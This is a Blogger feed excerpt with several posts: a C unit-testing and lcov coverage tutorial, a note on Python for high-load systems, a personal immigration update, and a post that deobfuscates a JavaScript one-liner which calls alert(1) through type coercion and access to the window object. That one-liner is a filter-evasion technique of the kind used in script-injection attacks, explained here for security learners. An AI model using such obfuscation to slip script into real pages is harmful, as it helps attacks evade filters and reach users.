&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ gcc hash.c test.c -o hash&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ ./hash&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;test_hash ......................................................... PASS&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;test_hash_with_empty_string ....................................... PASS&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;----------------------------------------------------------------------------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;PASSED (2/2 tests)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now let's check code coverage. For it the program should be compiled with the coverage information included. Lcov analyzes the information and generates a HTML-ready result.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ gcc -fprofile-arcs -ftest-coverage -coverage hash.c test.c -o hash&lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ lcov --directory . --zerocounters&lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Deleting all .da files in . and subdirectories&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Done.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ ./hash &lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;test_hash ......................................................... PASS&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;test_hash_with_empty_string ....................................... PASS&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;----------------------------------------------------------------------------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;PASSED (2/2 tests)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ lcov --directory . --capture --output-file hash.info&lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Capturing coverage data from .&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Found gcov version: 4.4.4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Scanning . for .gcda files ...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Found 2 data files in .&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Processing test.gcda&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Processing hash.gcda&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Finished .info-file creation&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Overall coverage rate:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; lines......: 57.1% (560 of 981 lines)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; functions..: 67.5% (83 of 123 functions)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; branches...: 37.0% (247 of 668 branches)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ genhtml hash.info&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Reading data file hash.info&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Found 3 entries.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Found common filename prefix "/home/nuald"&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Writing .css and .png files.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Generating output.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Processing file &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;workspace/&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code-coverage/test.c&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Processing file &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;workspace/&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code-coverage/fct.h&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Processing file &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;workspace/&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code-coverage/hash.c&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Writing directory view page.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Overall coverage rate:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; lines......: 57.1% (560 of 981 lines)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; functions..: 67.5% (83 of 123 functions)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; branches...: 37.0% (247 of 668 branches)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
After it, the "index.html" file is waiting for review in the current directory.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TQvWvhwPtKI/AAAAAAAAANk/CW2vCCB_PX4/s1600/scr01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://4.bp.blogspot.com/_b8spDATDZH0/TQvWvhwPtKI/AAAAAAAAANk/CW2vCCB_PX4/s320/scr01.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Let's examine is the hash.c module 100% covered:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TQvXO4RfaJI/AAAAAAAAANo/q2VyoRtOqMU/s1600/scr02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://3.bp.blogspot.com/_b8spDATDZH0/TQvXO4RfaJI/AAAAAAAAANo/q2VyoRtOqMU/s320/scr02.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
No, some code lines aren't covered by tests. Lcov shows these lines:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TQvXqKTkDGI/AAAAAAAAANs/Iv6pVYOjqSM/s1600/scr03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://3.bp.blogspot.com/_b8spDATDZH0/TQvXqKTkDGI/AAAAAAAAANs/Iv6pVYOjqSM/s320/scr03.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
Let's update the tests to include testing of the required code:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
#include "fct.h"
#include "hash.h"

FCT_BGN() {
  FCT_QTEST_BGN(test_hash) {
      fct_chk_eq_int(RSHash("test", 4), 280461880);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_empty_string) {
      fct_chk_eq_int(RSHash("", 0), 0);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_invalid_len) {
      fct_chk_eq_int(RSHash("invalid", 20), 1640248891);
  } FCT_QTEST_END();

} FCT_END();
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Let's make the new coverage report:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: x-small;"&gt;$ gcc -fprofile-arcs -ftest-coverage -coverage hash.c test.c -o hash&lt;br /&gt;$ lcov --directory . --zerocounters&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: x-small;"&gt;$ ./hash -l minimal&lt;/span&gt;&lt;/div&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ lcov --directory . --capture --output-file hash.info&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ genhtml hash.info&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now we can see that the module is fully covered:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_b8spDATDZH0/TQvZTQwKzKI/AAAAAAAAANw/lKXBSrqpd6s/s1600/scr04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://1.bp.blogspot.com/_b8spDATDZH0/TQvZTQwKzKI/AAAAAAAAANw/lKXBSrqpd6s/s320/scr04.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
That's all. Unit-testing is very useful technique, and can be applied in almost all the software projects. Use it as much as possible, and you'll understand all the advantages it can give you. Happy testing!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4469188959400113799?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4469188959400113799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/12/c-modules-unit-testing-in-linux.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4469188959400113799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4469188959400113799'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/12/c-modules-unit-testing-in-linux.html' title='C modules unit-testing in Linux'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_b8spDATDZH0/TQvWvhwPtKI/AAAAAAAAANk/CW2vCCB_PX4/s72-c/scr01.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-5021092842334422021</id><published>2010-12-13T14:26:00.001-08:00</published><updated>2010-12-13T14:27:31.911-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='scalability'/><category scheme='http://www.blogger.com/atom/ns#' term='availability'/><title type='text'>Is Python appropriate language for the developing high-load systems?</title><content type='html'>The short answer - &lt;b&gt;yes&lt;/b&gt;. The reasons are below:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;There are well-knows systems (like YouTube) that shows Python suitability: &lt;a href="http://highscalability.com/blog/2008/3/12/youtube-architecture.html"&gt;YouTube Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The most performance problems are related with not a language speed, but with communication and databases speed. Let me show the example from my own experience: I've worked on project that process a huge amount of data (about inserting 100-200k records a day, and selecting from about 100-200 million records 10-20 times per second). The bottleneck was a database, not the language speed. All indexes were pretty complex, and selecting can take up to 30-90 seconds which was inappropriate. We had to change architecture: use data pool, caches, AMQP (with &lt;a href="http://www.rabbitmq.com/"&gt;RabbitMQ &lt;/a&gt;server), and after that we don't know any problems at all with performance.&lt;/li&gt;
&lt;li&gt;Right tools means everything. For example, if you have to serve enormous web-requests, just use the suitable webserver like &lt;a href="http://www.tornadoweb.org/"&gt;Tornado&lt;/a&gt;. Especially it is useful for serving &lt;a href="http://en.wikipedia.org/wiki/Comet_%28programming%29"&gt;Comet&lt;/a&gt;-based web applications.&lt;/li&gt;
&lt;/ul&gt;
And of course don't forget about right scaling:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt; use special servers for dispatching static content (&lt;a href="http://nginx.org/"&gt;nginx&lt;/a&gt;, &lt;a href="http://www.lighttpd.net/"&gt;lighttpd&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;use caching as much as possible (&lt;a href="http://memcached.org/"&gt;memcache&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;use load balancers;&lt;/li&gt;
&lt;li&gt;use database clusters, replications etc&lt;/li&gt;
&lt;/ul&gt;
The good sources of information about building high-load systems are:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://highscalability.com/"&gt;High Scalability&lt;/a&gt; blog;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bigdatamatters.com/"&gt;bigdatamatters.com&lt;/a&gt; blog;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://horicky.blogspot.com/"&gt;Pragmatic Programming Techniques&lt;/a&gt; blog.&lt;/li&gt;
&lt;/ul&gt;
If you know other links to interesting resources of the kind, let me know, I'll update the list. Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-5021092842334422021?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/5021092842334422021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/12/is-python-appropriate-language-for-high.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5021092842334422021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5021092842334422021'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/12/is-python-appropriate-language-for-high.html' title='Is Python appropriate language for the developing high-load systems?'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-8293496673318204245</id><published>2010-12-10T12:11:00.002-08:00</published><updated>2010-12-10T12:24:18.784-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Explaination of JavaScript "The Da Vinci Code"</title><content type='html'>Novice security researchers can reach an impasse analyzing the such-like JS-code (it generates an alert):&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
I would like to remove the veil of secrecy, and explain how it works. It uses several JS-rules:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;implicit type conversion;&lt;/li&gt;
&lt;li&gt;arrays indexing;&lt;/li&gt;
&lt;li&gt;string and arithmetic operations (unary and binary);&lt;/li&gt;
&lt;li&gt;JSON-based object creation;&lt;/li&gt;
&lt;li&gt;referencing the global object (&lt;b&gt;window&lt;/b&gt;) using some functions with invalid or empty parameters;&lt;/li&gt;
&lt;li&gt;accessing properties by bracket notation.&lt;/li&gt;
&lt;/ul&gt;
Let me show it in action via &lt;a href="http://www.squarefree.com/shell/shell.html"&gt;JavaScript Shell&lt;/a&gt;: &lt;br /&gt;
&lt;blockquote&gt;
&lt;div class="input"&gt;
&lt;b&gt;[] //explicit empty array declaration&lt;/b&gt;&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;![] //implicit conversion to the Boolean value&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
false&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;[]+![] //implicit conversion to the String value&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
false&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;([]+![])[3] //get a char by index 3&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
s&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;a=[],++a //implicit conversion to the Integer value&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
1&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;([]+![])[a=[],++a] //use several implicit conversion, get a char by index 1&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
a&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;{} //explicit empty object creation via JSON-declaration&lt;/b&gt;&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;({}+[]) //implicit conversion tho the String value&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
[object Object]&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;({}+[])[a=[],-~++a] //use several implicit conversion, get a char by index 2&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
b&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;x=[].sort,x() //get window object&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
[object Window]&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;(x=[].sort,x())["location"] //access window.location property&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
http://www.squarefree.com/shell/shell.html&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class="normalOutput"&gt;
Please notice that getting &lt;b&gt;window&lt;/b&gt; object is not a trivial procedure, but there is a good description how it works:&amp;nbsp;&lt;a href="http://tr3w.net/?p=9"&gt;(x=[].sort)()===window&lt;/a&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
Now let's proceed to the analyzing the original sample:&lt;/div&gt;
&lt;div class="normalOutput"&gt;
&lt;blockquote&gt;
&lt;div class="input"&gt;
&lt;b&gt;//setting up variables&lt;/b&gt;&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;Å=[],µ=!Å+Å&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
false&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;µ&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
false&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;È=-~-~++Å&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
3&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;Å&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
1&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;Ç=!!Å+µ&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
truefalse&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;ª=Ç[Å]+Ç[+!Å]&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
rt&lt;/div&gt;
&lt;/blockquote&gt;
Knowing the variables the mysterious code turns out in the trivial one:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;div class="input"&gt;
&lt;b&gt;µ[Å]+µ[Å+Å]+Ç[È]+ª //one of the expression in the code&lt;/b&gt;&lt;/div&gt;
&lt;div class="normalOutput"&gt;
alert&lt;/div&gt;
&lt;div class="input"&gt;
&lt;b&gt;(É=["false"]["sort"])()["alert"](1) //deobfuscated code&lt;/b&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class="input"&gt;
As you can see there is no magic here. But it clearly shows that in daedal hands JavaScript can be a dangerous weapon. So be cautious and careful, and no magic can resist your skills!&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-8293496673318204245?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/8293496673318204245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/12/explaination-of-javascript-da-vinci.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8293496673318204245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8293496673318204245'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/12/explaination-of-javascript-da-vinci.html' title='Explaination of JavaScript &quot;The Da Vinci Code&quot;'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1743579561362988107</id><published>2010-11-24T08:26:00.001-08:00</published><updated>2010-12-09T22:02:36.376-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='immigration'/><category scheme='http://www.blogger.com/atom/ns#' term='canada'/><title type='text'>Settling in Canada</title><content type='html'>I'm now in Vancouver, BC, handling all the issues related with immigration. My laptop went out of order right before the departure, so I can't be online all the time I want. But anyway I'll try to get a new one as soon as possible and continue working.&lt;br /&gt;
&lt;br /&gt;
I'm publishing all the materials related to the immigration and settling down in Vancouver at my microblog on the Tumblr (in Russian): &lt;a href="http://nuald.tumblr.com/"&gt;http://nuald.tumblr.com/&lt;/a&gt;&lt;br /&gt;
